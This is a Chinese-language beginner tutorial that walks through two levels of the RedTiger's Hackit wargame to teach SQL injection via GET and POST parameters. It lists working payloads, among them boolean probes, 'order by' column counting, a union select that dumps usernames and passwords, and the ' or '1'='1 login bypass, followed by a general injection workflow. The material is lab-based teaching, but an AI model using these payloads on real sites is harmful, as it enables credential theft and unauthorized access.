本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。
GET与POST
进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。
在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。
- GET - 从指定的资源请求数据。
- POST - 向指定的资源提交要被处理的数据
1.get方法特点是参数直接从URL中传递
常见形式:
http://www.test/index.php?[parameter1]=[value1]&[parameter2]=[value2]
即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。
2.post方法特点是常以提交表单形式传递参数
常见形式:
用firebug查看两者的区别:
get:
https://redtiger.labs.overthewire/level1.php?id=1
post:
post注入多为字符型注入,需要注意引号闭合。
正文
本文以RedTiger’s Hackit两道简单的SQL注入为例。
1.简单的get注入
第一关
URL为:https://redtiger.labs.overthewire/level1.php
点击Category:1
后,URL变为:https://redtiger.labs.overthewire/level1.php?cat=1
且出现文字:
是以get方式传递cat
参数,进行判断是否存在注入点:
https://redtiger.labs.overthewire/level1.php?cat=1 and 1=1
正常
https://redtiger.labs.overthewire/level1.php?cat=1 and 1=2
运行异常
看来存在数字型注入,利用order by
测试出存在4个列:
https://redtiger.labs.overthewire/level1.php?cat=1 order by 4
正常
https://redtiger.labs.overthewire/level1.php?cat=1 order by 5
运行异常
(此处可直接利用union联合查询进行判断列数)
构造union联合查询语句,找回显:
https://redtiger.labs.overthewire/level1.php?cat=1 union select 1,2,3,4
发现3,4
处存在回显
且页面中有提示:
得知tablename为level1_users,并根据页面所要提交的信息为username,password
猜测列名为username,password
于是构造payload:
https://redtiger.labs.overthewire/level1.php?cat=1 union select 1,2,username,password from level1_users
得到username和password,提交后get flag。
本题实现的是通过SQL注入进行获取敏感数据。
2.简单的post注入
第二关
URL为https://redtiger.labs.overthewire/level2.php
首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过:
username
任意填写,password
为' or '1'='1
此时用firebug查看可以得到如下信息:
结果成功绕过,get flag。
本题实现的是通过SQL注入实现登录绕过。
总结:
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。
SQL注入基本流程可概括如下:
1. 判断是否存在注入点;
2. 判断字段回显位置;
3. 判断数据库信息;
4. 查找数据库名;
5. 查找数据库表;
6. 查找数据库表中字段以及字段值。
更多推荐
SQL注入教程——(三)简单的注入尝试
发布评论